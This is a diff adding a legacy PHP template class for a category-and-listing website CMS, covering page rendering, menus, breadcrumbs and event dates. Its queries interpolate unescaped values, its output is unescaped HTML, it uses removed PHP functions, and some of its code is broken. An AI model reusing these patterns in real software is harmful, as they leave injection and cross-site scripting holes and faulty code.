+ * @param $name: The file name displayed
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_file( $text, $name )
+ {
+ if( $text != "" )
+ {
+ $outtext = '
+ <p class="fileupload">';
+ if(ereg("[.]([a-zA-Z]{3}$)",$text,$tmp))
+ {
+ $outtext .= '<span class="'.$tmp[1].'"> </span>';
+ }
+ $outtext .= '
+ <a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+ if($name)
+ $outtext .= $name;
+ else
+ $outtext .= $text;
+ $outtext .= '</a>
+ </p>';
+ }
+ return( $outtext );
+ }
+
+ /**
+ * set_address:set_address
+ * @param $data: data contain the address info for display.
+ *
+ * @return string $address
+ * @access
+ **/
+ function set_address( $data )
+ {
+ $address = "";
+ if( $data["address"] )
+ {
+ $address .= $data["address"];
+ }
+ if( $data["city"] && $data["state"] && $data["zip"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+ }
+ elseif( $data["city"] && $data["state"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"];
+ }
+ elseif( $data["city"] )
+ {
+ $address .= '<br>'.$data["city"];
+ }
+ if( $address != "" )
+ {
+ return( '<p>'.$address.'<br></p>' );
+ }
+ }
+
+ /**
+ * get_all:Does the query and set_data calls boths arrays
+ *
+ * @return void
+ * @access
+ **/
+ function get_all( $type = NULL )
+ {
+ $catid = $this->catid;
+ if( $type == 1 || !$type )
+ {
+ $cat_query = "select * from bus_category where id = $catid ".$this->active_query." order by pos";
+ $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+ $this->data = $res[0];
+ }
+ if( $type == 2 || !$type )
+ {
+ $item_query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = $catid order by bcb.pos";
+ $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+ }
+ }
+
+ /**
+ * set_data:Calls each function of the class
+ * based on the key af the array $data[0][$key]
+ * @param $data: The input array from db query
+ *
+ * @return array data The finished array
+ * @access
+ **/
+ function set_data( $data )
+ {
+ if( is_array( $data ) )
+ {
+ foreach( $data as $k => $val )
+ {
+ foreach( $val as $key => $value )
+ {
+ if( strstr( $key, "image" ) && $value != "" )
+ {
+ $data[$k][$key."_name"] = $value;
+ $data[$k][$key] = $this->set_img( $value, $this->img_size, $this->img_align, strip_tags($data[$k][$key.'name']) );
+ if( !strstr( $key, "name" ) )
+ {
+ if( $this->img_align == "right" && $this->img_alternate )
+ {
+ $this->img_align = "left";
+ }
+ elseif( $this->img_alternate )
+ {
+ $this->img_align = "right";
+ }
+ }
+ }
+ elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"descr") && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ elseif( $key == "contactname" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+ }
+ elseif($key == "name" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( strstr( $key, "header" ) && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( $key == "intro" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "category" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "url" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+ }
+ elseif( $key == "email" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+ }
+ elseif( $key == "phone" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+ }
+ elseif( $key == "fax" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+ }
+ elseif (strstr( $key, "file" ) && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'] );
+ }
+ elseif( $key == "address" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_address( $data[$k] );
+ }
+ elseif( $key == "id" )
+ {
+ $data[$k][$key] = $value;
+ }
+ else
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ }
+ }
+ return( $data );
+ }
+ return( false );
+ }
+
+ /**
+ * load_static_page:using object buffer include the page $catid.phtml from static dir
+ and return it as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function load_static_page()
+ {
+ if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+ {
+ ob_start();
+ include("static/".$this->catid.".phtml");
+ $text = ob_get_contents();
+ ob_end_clean();
+ return($text);
+ }
+ }
+
+ /**
+ * clean_text:Do some text clean up.
+ * @param $output:
+ *
+ * @return string text cleaned
+ * @access
+ **/
+ function clean_text($output)
+ {
+ $output = str_replace("<br />","<br>",$output);
+ $output = str_replace("<p><br></p>","",$output);
+ return($output);
+ }
+
+ /**
+ * get_category: grab just category contents
+ * @param $catid: id of bus_category
+ * @param $DB:
+ * @param $$showimg=1: weather or not to show category image
+ *
+ * @return string $output
+ * @access public
+ **/
+ function get_category( $showimg = 1,$showdiv=1 )
+ {
+ if( DELUXE_TOOLBOX )
+ {
+ $this->get_template( "cat" );
+ }
+
+ if( !$this->data )
+ {
+ $this->get_all( 1 );
+ }
+ $data = $this->data;
+ if($showdiv==1)
+ {
+ $output .= '<div id="category">'."\n";
+ }
+ /* if( $this->catid == 1 )
+ {
+ $output .= $this->get_home_events();
+ } */
+ if($data["image"] || $data["description"] || $data["intro"] )
+ {
+ //$output .=$data["intro"]." ";
+ $output .=$data["intro"]." ";
+ if($showimg == 1)
+ {
+ $output .=$data["image"]." ";
+ }
+ $output .=$data["description"]." ";
+ }
+ if($showdiv==1)
+ {
+ $output .= '</div>'."\n";
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+
+ }
+
+ /**
+ * get_page: replacing template_parser with get-page function
+ *
+ * @return
+ * @access
+ **/
+ function get_page( $showimg = 1,$showdiv=1 )
+ {
+ $out .= $this->get_category( $showimg,$showdiv );
+ $out .= $this->get_listings();
+ return( $out );
+ }
+
+ /**
+ * get_template: get the template type of the bus_category
+ * @param $$type : 'cat' or 'list'
+ *
+ * @return void
+ * @access public
+ **/
+ function get_template( $type )
+ {
+ $query = "select template from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ switch( $type )
+ {
+ case "cat":
+ switch( $data[0]['template'] )
+ {
+ case "5":
+ case "4":
+ case "2":
+ $this->img_align = "left";
+ break;
+
+ default:
+ $this->img_align = "right";
+ break;
+ }
+ break;
+
+ case "list":
+ switch( $data[0]['template'] )
+ {
+ case "5":
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+ case "4":
+ $this->img_align = "right";
+ $this->img_alternate = 1;
+ break;
+
+ case "3":
+ $this->img_align = "left";
+ $this->img_alternate = 1;
+ break;
+
+ case "2":
+ $this->img_align = "left";
+ $this->img_alternate = 0;
+ break;
+
+ case "1":
+ $this->img_align = "right";
+ $this->img_alternate = 0;
+ break;
+
+ default:
+ break;
+ }
+ break;
+ }
+ return( $this->template = $data[0]['template'] );
+ }
+ /**
+ * template_parser:This function creates data
+ * and items arrays and does the output for the page.
+ *
+ * @return void
+ * @access
+ **/
+ function get_listings()
+ {
+ // grab category and items into data and items respectfully
+ if( DELUXE_TOOLBOX )
+ {
+ $this->get_template( "list" );
+ }
+
+ if( !is_array( $this->items ) )
+ {
+ $this->get_all( 2 );
+ }
+
+ // load any static category page from the static directory
+ // hard codded content would have $catid.phtml page for it
+ $output .= $this->load_static_page();
+ switch($this->type)
+ {
+
+ default:
+ if(is_array($this->items))
+ {
+ foreach($this->items as $key=>$val)
+ {
+ // items can be moved around as needed
+ if( $val['keyword'] != '' )
+ {
+ $aname = str_replace( " ", "", $val['keyword'] );
+ $output .= '<a name="'.$aname.'"></a>';
+ }
+ $output .= '<div class="listing">'."\n";
+ $output .= $val["name"]."\n";
+ $output .= $val["image"]."\n";
+ $output .= $val["address"]."\n";
+ $output .= $val["description"]."\n";
+ $output .= $val["contactname"]."\n";
+ $output .= $val["email"]."\n";
+ $output .= $val["phone"]."\n";
+ $output .= $val["fax"]."\n";
+ $output .= $val["url"]."\n";
+ $output .= $val["file"]."\n";
+ $output .= $val["file2"]."\n";
+ $output .= $val["file3"]."\n";
+ $output .= "</div>"."\n";
+ }
+ }
+ break;
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+ }
+
+ /**
+ * sub_nav:Create a sub navigation 4 across
+ * @param $catid: The catid for the page
+ *
+ * @return void
+ * @access
+ **/
+ function sub_nav($catid)
+ {
+ //$catid = $this->get_parentid($catid);
+ $query = "SELECT id,category FROM bus_category WHERE and parent = $catid ".$this->active_query." ORDER BY pos";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ $url = $this->get_seo_url( $val['id'] );
+ //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+ echo '<a href="'.$url.'">';
+ echo $val["category"];
+ echo '</a><br>';
+ }
+ }
+ }
+
+ /**
+ * get_home_events: get events flaged as home events
+ * @param $DB: DB reference to DB obj
+
+ *
+ * @returnvoid
+ * @access
+ **/
+ function get_home_events()
+ {
+ $query = "SELECT id,header,substr(descr,0,30) as descr, bdate, edate
+ FROM event WHERE home = 't'";
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="events">UPCOMING EVENTS<div id="eventsbox">
+ ';
+ foreach($data as $key=>$value)
+ {
+ $id = $value['id'];
+ $header = $value['header'];
+ $sdate = strtotime($value['bdate']);
+ $edate = strtotime($value['edate']);
+ $dates = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $output .= $dates;
+ $output .= '<h3><a href="events.phtml?eventid='.$id.'">'.$header.'</a></h3>';
+ }
+ $output .= '</div></div>';
+ return($output);
+ }
+ else
+ {
+ return( '' );
+ }
+ }
+
+ /**
+ * get_event_date: make the event date human readable
+ * @param $sdate: start date
+ * @param $edate: end date
+ * @param $dateType: dateType Postgres,etc
+ *
+ * @return string
+ * @access
+ **/
+ function get_event_date($sdate,$edate,$dateType)
+ {
+ switch($dateType)
+ {
+ case "Postgres":
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$sdate,$spt))
+ {
+ $mon = $spt[1];
+ $day = $spt[2];
+ $yr = $spt[3];
+ }
+
+ if(ereg("([0-9]{1,2})[/-]([0-9]{1,2})[/-]([0-9]{4})",$edate,$ept))
+ {
+ $mon2 = $ept[1];
+ $day2 = $ept[2];
+ $yr2 = $ept[3];
+ }
+ break;
+
+ case "timestamp":
+ $mon = date("m",$sdate);
+ $day = date("d",$sdate);
+ $yr = date("Y",$sdate);
+ $mon2 = date("m",$edate);
+ $day2 = date("d",$edate);
+ $yr2 = date("Y",$edate);
+ break;
+
+ }$start = mktime(0,0,0,$mon,$day,$yr);
+ $end = mktime(0,0,0,$mon2,$day2,$yr2);
+ if ($day == $day2 && $mon == $mon2 && $yr == $yr2)
+ {
+ $dateparam = "F jS, Y";
+ $date_begin = date($dateparam, $start) ;
+ $date_end = "";
+ }
+ elseif ($day == $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($day != $day2 AND $mon == $mon2 AND $yr != $yr2)
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ elseif ($yr == $yr2)
+ {
+ $dateparam1 = "F jS -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+ else
+ {
+ $dateparam1 = "F jS, Y -";
+ $dateparam2 = "F jS, Y";
+ $date_begin = date($dateparam1, $start);
+ $date_end = date($dateparam2, $end);
+ }
+
+ return($date_begin." ".$date_end);
+ }
+
+ /**
+ * is_sub_id:Check to see if catid is sub of category
+ * @param $catid: the catid looking at
+ * @param $category: to see if it is in category
+ * @param $DB: Db object reference
+ *
+ * @return bool
+ * @access
+ **/
+ function is_sub_id($catid,$category,&$DB)
+ {
+ if($category==$catid)
+ {
+ return(true);
+ }
+ $query = "select id,parent from bus_category where id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ $parent = $data[0]['parent'];
+ if($parent == 0)
+ {
+ return(false);
+ }
+ else
+ {
+ return( $this->is_sub_id($parent,$category,&$DB) );
+ }
+ }
+
+ /**
+ * get_parent: get parent for this category
+ * @param $catid: id
+ * @param $DB: database obj
+ *
+ * @return int $parent
+ * @access
+ **/
+ function get_parent($catid,&$DB)
+ {
+ $query = "SELECT parent FROM bus_category WHERE id = $catid ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ if( $data[0]["parent"] == 0 )
+ {
+ return( $catid );
+ }
+ else
+ {
+ return( $data[0]["parent"] );
+ //return(GLM_TEMPLATE::get_parent($data[0]["parent"],&$DB));
+ }
+
+ }
+ else
+ {
+ return(false);
+ }
+ }
+
+ /**
+ * get_sub_nav:
+ * @param $catid:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function get_sub_nav($catid,&$DB)
+ {
+ $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+ //echo $parentid.'<br>';
+ $query = "SELECT id,category FROM bus_category WHERE parent = $parentid ".$this->active_query." ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="subnav">';
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ $url = $this->get_seo_url( $val['id'] );
+ if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+ {
+ $output .= '<a class="current" href="'.$url.'">';
+ }
+ else
+ {
+ $output .= '<a href="'.$url.'">';
+ }
+ $output .= $val["category"];
+ $output .= '</a>';
+ if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+ {
+ $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+ }
+ }
+ $output .= '</div>';
+ $output = GLM_TEMPLATE::clean_text($output);
+ echo $output;
+ }
+ return(false);
+ }
+
+ /**
+ * has_subs:
+ * @param $catid:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function has_subs($catid,&$DB)
+ {
+ $query = "SELECT id FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+
+
+ /**
+ * get_parentid:Get the highest level parent id (not 0 )for the category.
+ * @param $id: The catid for the page.
+ * @param $DB: obj
+ *
+ * @return int $parent
+ * @access
+ **/
+ function get_parentid($id,&$DB)
+ {
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = $DB->db_auto_get_data( $qs );
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::get_parentid($parentrow[0]['parent'],&$DB) );
+ }
+ }
+
+ /**
+ * show_catimg:output the category image.
+ * @param $catid: The catid for the page.
+ *
+ * @return void
+ * @access
+ **/
+ function show_catimg($catid)
+ {
+ $query = "SELECT image FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]["image"]!="")
+ {
+ $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+ }
+ else
+ {
+ $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+ }
+ echo $img;
+ echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+ }
+
+
+ /**
+ * get_catheader:output the category name.
+ * @param $catid: The catid for the page
+ * @param $DB: db obj
+ *
+ * @return void
+ * @access
+ **/
+ function get_catheader($catid,$DB)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ if($data[0]['category']!="")
+ {
+ $header = strip_tags($data[0]['category']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * get_catintro: return the category page name.
+ * @param $catid: The catid for the page
+ * @param $DB: db obj
+ *
+ * @return void
+ * @access
+ **/
+ function get_catintro($catid)
+ {
+ $query = "SELECT intro FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]['intro']!="")
+ {
+ $header = strip_tags($data[0]['intro']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * show_catheader:
+ * @param $catid:
+ *
+ * @return
+ * @access
+ **/
+ function show_catheader($catid)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0][category]!="")
+ {
+ $header = $data[0][category];
+ }
+ else
+ {
+ $header = ' ';
+ }
+ echo $header;
+ }
+
+ /**
+ * get_menu_string:get categories for the phplayermenu
+ *
+ * @return string
+ * @access
+ **/
+ function get_menu_string()
+ {
+ $query = "SELECT id,parent,category FROM bus_category ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+ return($string);
+ }
+
+ function get_menu_array()
+ {
+ $query = "SELECT id,parent,category FROM bus_category WHERE active='t' ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ return $newdata;
+ }
+
+ /**
+ * sort_childs:
+ * @param $threads:
+ *
+ * @return
+ * @access
+ **/
+ function sort_childs($threads)
+ {
+ foreach($threads as $var=>$value)
+ {
+ $childs[$value["parent"]][$value["id"]] = $value;
+ }
+ return($childs);
+ }
+
+ /**
+ * convert_to_thread:
+ * @param $threads:
+ * @param $thread:
+ *
+ * @return
+ * @access
+ **/
+ function convert_to_thread($threads, $thread)
+ {
+ foreach($thread as $parent=>$value)
+ {
+ $this->whole_thread .= str_repeat(".",$this->thread_count);
+ $this->whole_thread .= "|".$value[category];
+ $url = $this->get_seo_url( $value['id'] );
+ $this->whole_thread .= "|".$url;
+ $this->whole_thread .="\n";
+ if($threads[$parent])
+ {
+ $this->thread_count++;
+ GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+ }
+ }
+ $this->thread_count--;
+ return $this->whole_thread;
+ }
+
+ function has_children($catid)
+ {
+ // returns number of children that $catid has
+ $qs="SELECT count(*) FROM bus_category WHERE parent=$catid";
+ $row=$this->DB->db_auto_get_data($qs);
+ return $row[0]['count'];
+ }
+
+ /**
+ * get_ancesters:get the ancesters for this category
+ * @param $catid: catid
+ * @param $count: starting counter
+ *
+ * @return array
+ * @access
+ **/
+ function get_ancesters($catid,$count)
+ {
+ if($catid)
+ {
+ $query = "SELECT id,category,parent
+ FROM bus_category
+ WHERE id = ".$catid."
+ ".$this->active_query;
+ $res = $this->DB->db_auto_get_data($query);
+ $id = $res[0]['id'];
+ $parent = $res[0]['parent'];
+ $category = $res[0]['category'];
+ $this->ancesters[$count]['id'] = $id;
+ $this->ancesters[$count]['label'] = $category;
+
+ $url = $this->get_seo_url( $id );
+ $this->ancesters[$count]['link'] = $url;
+ GLM_TEMPLATE::get_ancesters($parent,$count+1,$conn);
+
+ return (array_reverse($this->ancesters) );
+ }
+ }
+ function meta_tags()
+ {
+ $query = "select description from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ $description = substr( strip_tags( $data[0]['description'] ), 0, 50 );
+ return( $description );
+ }
+
+ function title()
+ {
+ $query = "select category,intro from bus_category where id = ".$this->catid;
+ $data = $this->DB->db_auto_get_data( $query );
+ if( $data[0]['intro'] )
+ {
+ $title = strip_tags( $data[0]['intro'] );
+ }
+ else
+ {
+ $title = strip_tags( $data[0]['category'] );
+ }
+ return( $title.' - ' );
+ }
+
+ function get_bottom_nav($parent=0)
+ {
+ $return='';
+ $qs="SELECT id, category FROM bus_category WHERE parent=$parent AND active='t' ORDER BY pos ASC";
+ $row=$this->DB->db_auto_get_data($qs);
+ if( !is_array( $row ) )
+ {
+ return FALSE;
+ }
+ else
+ {
+ for( $i=0; $i<sizeof( $row ); $i++)
+ {
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $return.='<a href="'.$url.'">'.$row[$i]['category']."</a>\n";
+ }
+ return $return;
+ }
+ }
+
+ function cat_lineage($id)
+ {
+ $qs = "SELECT parent FROM bus_category WHERE id=$id AND active='t'";
+ $row=$this->DB->db_auto_get_data($qs);
+
+ if($row[0]['parent']!=0)
+ {
+ $this->lineage[] = $row[0]['parent'];
+ $this->cat_lineage($row[0]['parent']);
+ }
+
+ }
+ /**
+ * make_ul_menu: create url list of categories
+ * @param $parent: parent to start from
+ * @param $$url='': page to go to
+ * @param $$catid=0:
+ *
+ * @return
+ * @access
+ **/
+ function make_ul_menu($parent=0)
+ {
+ $this->cat_lineage($this->catid);
+
+ $qs="SELECT id,category FROM bus_category WHERE parent=$parent AND active='t' ORDER BY pos";
+ $row=$this->DB->db_auto_get_data($qs);
+ if(!is_array($row))
+ {
+ return( false );
+ }
+ else
+ {
+ if( $parent == 0 )
+ {
+ $return = '<ul id="navlist">';
+ }
+ else
+ {
+ $return="<ul>";
+ }
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $ret2='';
+
+ if( $this->catid == $row[$i]['id'] )
+ {
+ $urlstyle= ' id="current"';
+ $listyle=' id="active"';
+ $ret2=$this->make_ul_menu($this->catid);
+ }else
+ {
+ $urlstyle='';
+ $listyle="";
+ if( is_array( $this->lineage ) && in_array($row[$i]['id'],$this->lineage))
+ {
+ $ret2=$this->make_ul_menu($row[$i]['id']);
+ }
+ }
+ $return.="<li$listyle>".'<a href="'.$url.'"'.$urlstyle.'>'.$row[$i]['category']."</a>$ret2</li>";
+ }
+ return $return."</ul>";
+ }
+ }
+
+
+
+
+ function make_demo_ul_menu($parent=0)
+ {
+ $qs="SELECT id,category FROM bus_category WHERE parent=$parent AND active='t' ORDER BY pos";
+ $row=$this->DB->db_auto_get_data($qs);
+ if(!is_array($row))
+ {
+ return( false );
+ }
+ else
+ {
+ if( $parent == 0 )
+ {
+ $return = '<ul id="navlist">';
+ }
+ else
+ {
+ $return="<ul>\n";
+ }
+
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ /*
+ $query = "select parent from bus_category where id = $catid;";
+ $parent_data = $this->DB->db_auto_get_data( $query );
+ $par = $parent_data[0]['parent']; */
+
+ $url = $this->get_seo_url( $row[$i]['id'] );
+
+ $ret2='';
+ /* if( $par == $this->catid )
+ {
+ $ret2=$this->make_ul_menu($this->catid);//'index.phtml');
+ } */
+
+ $return.="\n<li>".'<a href="'.$url.'"';
+ if( $this->catid == $row[$i]['id'] )
+ {
+ $return .= ' id="current"';
+ }
+ $ret2=$this->make_demo_ul_menu($row[$i]['id']);
+ $return .= '>'.$row[$i]['category']."</a>$ret2</li>\n";
+ }
+ return $return."</ul>\n";
+ }
+ }
+
+ function make_custom_menu($parent,$url='',$onhome=0)
+ {
+ $url==''?$url=$_SERVER['PHP_SELF']:'';
+ //$url=BASE_URL;
+ if($onhome==1)
+ {
+ //$opt="AND onhome='t' ";
+ $qs="SELECT id,category,image FROM bus_category WHERE onhome='t' AND active='t' ORDER BY homepos ASC";
+ }else
+ {
+ $qs="SELECT id,category,image FROM bus_category WHERE parent=$parent $opt AND active='t' ORDER BY pos";
+ }
+
+ $row=$this->DB->db_auto_get_data($qs);
+ if(!is_array($row))
+ {
+ return FALSE;
+ }else
+ {
+ $z=1; // used to find the 3rd image
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ if($z==3)
+ {
+ $z=1;
+ $brtag='<br clear="all">';
+ }else
+ {
+ $brtag='';
+ $z++;
+ }
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $return.='<div class="products"><a href="'.$url.'"class="text">'.$row[$i]['category'].'</a>'."\n".'<a href="'.URL_BASE.$p.$category.'"class="image">';
+ if($row[$i][image]!='')
+ {
+ $return.='<img src="'.THUMB.$row[$i][image].'">';
+ }
+
+ $return.='</a>'."</div>$brtag\n";
+ }
+ return $return;
+ }
+ }
+
+ /**
+ * print_ancesters:print out the ancesters
+ * @param $catid: the id to start at.
+ *
+ * @return
+ * @access
+ **/
+ function print_ancesters($catid)
+ {
+ $string = GLM_TEMPLATE::get_ancesters($catid,0);
+ if(is_array($string))
+ {
+ if(count($string) > 1)
+ {
+ $url = $this->get_seo_url( 1 );
+ $outarray[] = '<a href="'.$url.'">Home</a>';
+ }
+ for($i=0;$i<$end;$i++)
+ {
+ $outarray[] = '<a href="'.BASE_URL.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+ }
+ $outarray[] = $this->get_catheader( $catid, &$this->DB );
+ if( is_array( $outarray ) && count( $outarray ) > 1 )
+ {
+ $out .= implode( " <b>»</b> ", $outarray );
+ }
+ }
+ return( '<div id="breadcrumbs">'.$out.'</div>' );
+ }
+
+ /**
+ * build_picklist:
+ * @param $fieldname:
+ * @param $data:
+ * @param $selected:
+ * @param $$type = "standard":
+ * @param $$auto = 0:
+ * @param $$width = NULL :
+ *
+ * @return
+ * @access
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ {
+ $autosubmit = "onChange=\"form.submit()\"";
+ }
+ if($width)
+ {
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ }
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ {
+ $select = "";
+ }
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+ return( $str );
+ }
+
+ /**
+ * keyword_replace:
+ * @param $string:
+ *
+ * @return
+ * @access
+ **/
+ function keyword_replace($string)
+ {
+ if($search = strstr($string,"{"))
+ {
+ if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+ {
+ if($needle[0] != "")
+ {
+ // first check to see if it matches bus_category keyword
+ $qs = "SELECT id,category
+ FROM bus_category
+ WHERE trim(keyword) = '".trim($needle[1])."'";
+
+ // first check to see if it matches bus_category keyword
+ if( $keyres = $this->DB->db_auto_get_data($qs) )
+ {
+ //$parent = $this->get_parentid($keyres[0]['id'],&$this->DB);
+ $url = $this->get_seo_url( $keyres[0]['id'] );
+ $replacement = "<a href=\"".$url."\">".$keyres[0]['category']."</a>";
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ else
+ {
+ $qs2 = "select bus.id,bus.name,bcb.catid as parent from bus left outer join bus_category_bus bcb on ( bcb.busid = bus.id ) where trim(bus.keyword) = '".trim($needle[1])."';";
+ if( $keyres2 = $this->DB->db_auto_get_data( $qs2 ) )
+ {
+ $url = $this->get_seo_url( $keyres2[0]['parent'] );
+ $aname = str_replace( " ", "", $needle[1] );
+ $replacement = '<a href="'.$url.'#'.urlencode($aname).'">'.$keyres2[0]["name"].'</a>';
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ }
+ }
+ }
+ else
+ {
+ return($string);
+ }
+ if($search = strstr($string,"{"))
+ return($this->keyword_replace($string));
+ }
+ return($string);
+ }
+ /**
+ * getIdFromName:
+ * @param $name:
+ * @param $table:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function get_id_from_name( $name, $table, &$DB)
+ {
+ if( $name == "" )
+ {
+ return( 0 );
+ }
+ if( is_numeric( $name ) )
+ {
+ return( $name );
+ }
